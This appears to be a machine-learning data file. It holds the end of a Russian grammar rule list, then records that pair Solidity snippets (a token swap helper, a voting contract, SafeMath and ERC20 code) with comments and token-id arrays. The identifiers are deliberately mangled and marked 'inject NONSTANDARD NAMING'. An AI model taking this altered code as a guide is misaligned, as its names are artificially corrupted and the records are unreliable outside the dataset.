rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
|
наследить в коридоре
|
rus_verbs:наследить{},
| 5,482,167 |
[
1,
145,
126,
145,
113,
146,
228,
145,
124,
145,
118,
145,
117,
145,
121,
146,
229,
146,
239,
225,
145,
115,
225,
145,
123,
145,
127,
146,
227,
145,
121,
145,
117,
145,
127,
146,
227,
145,
118,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
436,
407,
67,
502,
2038,
30,
145,
126,
145,
113,
146,
228,
145,
124,
145,
118,
145,
117,
145,
121,
146,
229,
146,
239,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x0512d6992ab1Bd225fb06f107a0115385b36b867/sources/XChanageToken.sol
|
generate the Dex pair path of token -> weth make the swap
|
{
IDexRouter dexRouter = IDexRouter(routerAddress);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp + 300
);
}
| 2,590,427 |
[
1,
7163,
326,
463,
338,
3082,
589,
434,
1147,
317,
341,
546,
1221,
326,
7720,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
288,
203,
3639,
1599,
338,
8259,
302,
338,
8259,
273,
1599,
338,
8259,
12,
10717,
1887,
1769,
203,
203,
3639,
1758,
8526,
3778,
589,
273,
394,
1758,
8526,
12,
22,
1769,
203,
3639,
589,
63,
20,
65,
273,
1758,
12,
2211,
1769,
203,
3639,
589,
63,
21,
65,
273,
302,
338,
8259,
18,
59,
1584,
44,
5621,
203,
203,
3639,
302,
338,
8259,
18,
22270,
14332,
5157,
1290,
1584,
44,
6289,
310,
14667,
1398,
5912,
5157,
12,
203,
5411,
1147,
6275,
16,
203,
5411,
589,
16,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
1203,
18,
5508,
397,
11631,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x6bDc4af04C6d49dc8878E2BA26F9662eD30917B0/sources/contracts/interface/IBondDepository.sol
|
Control variable adjustment data
|
struct Adjustment {
uint64 change;
uint48 lastAdjustment;
uint48 timeToAdjusted;
bool active;
}
| 7,055,122 |
[
1,
3367,
2190,
18335,
501,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1958,
17720,
475,
288,
203,
3639,
2254,
1105,
2549,
31,
203,
3639,
2254,
8875,
1142,
19985,
31,
203,
3639,
2254,
8875,
23813,
10952,
329,
31,
203,
3639,
1426,
2695,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
contract Poll {
// Address that creates voting program
address public owner;
// Program Title
string public title;
// Program Description
string public description;
// To check if results have been announced
bool public isResultAnnounced;
// To store all the addresses who have already voted
mapping(address => bool) public voters;
// Option struct
struct Option {
string name;
uint256 count;
}
// Number of options
uint256 public nOptions = 0;
// Mapping for counting votes to each option
mapping(uint256 => Option) private optionCounts;
// Mapping for keeping vote count after results announced
mapping(uint256 => Option) public results;
// Index of option with max votes
uint256 private maxVotesIndex = 0;
// Current max votes to any option
uint256 private maxVotes = 0;
// Total votes
uint256 public totalVotes = 0;
// Emitted when results are announced successfully
event ResultAnnounced(Option winnerOption);
constructor(
address _owner,
string memory _title,
string memory _description,
string[] memory _options
) {
owner = _owner;
title = _title;
description = _description;
nOptions = _options.length;
// Create mapping of index => Option(name, count)
for (uint256 i = 0; i < nOptions; i++) {
optionCounts[i] = Option(_options[i], 0);
}
}
// Function to cast vote
function vote(uint256 index) public {
// Check if result already announced
require(!isResultAnnounced, "Cannot vote after result announcement");
// Check if voter has already voted
require(!voters[msg.sender], "You have already voted");
// Vote for option corresponding to index
optionCounts[index].count++;
// Adjust option with maximum votes
if (optionCounts[index].count > maxVotes) {
maxVotes = optionCounts[index].count;
maxVotesIndex = index;
}
// Mark as voted
voters[msg.sender] = true;
// Increase total votes
totalVotes++;
}
// Function to announce results which can be called by only owner
function announceResult() public {
// Check if results already announced
require(!isResultAnnounced, "Result already announced");
// Check if caller is owner
require(msg.sender == owner, "Only owner can announce result");
// Mark result as announced
isResultAnnounced = true;
// Create public mapping
for (uint256 i = 0; i < nOptions; i++) {
results[i] = optionCounts[i];
}
// Emit event along with result data
emit ResultAnnounced(optionCounts[maxVotesIndex]);
}
// Function to return options
function getOption(uint256 _index) public view returns (string memory) {
return optionCounts[_index].name;
}
// Function to get Winner after results announced
function getWinner() public view returns (Option memory) {
// Check if results already announced
require(isResultAnnounced, "Result not announced yet");
require(totalVotes > 0, "No one has voted yet");
return optionCounts[maxVotesIndex];
}
}
|
Mapping for counting votes to each option
|
mapping(uint256 => Option) private optionCounts;
| 947,004 |
[
1,
3233,
364,
22075,
19588,
358,
1517,
1456,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
11890,
5034,
516,
2698,
13,
3238,
1456,
9211,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function ADD388(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB906(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB906(a, b, "SafeMath: subtraction overflow");
}
function SUB906(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL601(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV456(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV456(a, b, "SafeMath: division by zero");
}
function DIV456(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD78(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD78(a, b, "SafeMath: modulo by zero");
}
function MOD78(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _MSGSENDER877() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA207() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function TOTALSUPPLY738() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF68(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER734(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE35(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE429(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM531(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER657(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL956(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
// File: contracts/utils/Address.sol
library Address {
function ISCONTRACT600(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function SENDVALUE944(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL15(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL15(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL15(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE358(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE499(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE499(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE499(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE358(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE358(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT600(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC20/ERC20.sol
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function NAME254() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL669() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS84() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY738() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF68(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER734(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER67(_MSGSENDER877(), recipient, amount);
return true;
}
function ALLOWANCE35(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE429(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE455(_MSGSENDER877(), spender, amount);
return true;
}
function TRANSFERFROM531(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER67(sender, recipient, amount);
_APPROVE455(sender, _MSGSENDER877(), _allowances[sender][_MSGSENDER877()].SUB906(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE275(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE455(_MSGSENDER877(), spender, _allowances[_MSGSENDER877()][spender].ADD388(addedValue));
return true;
}
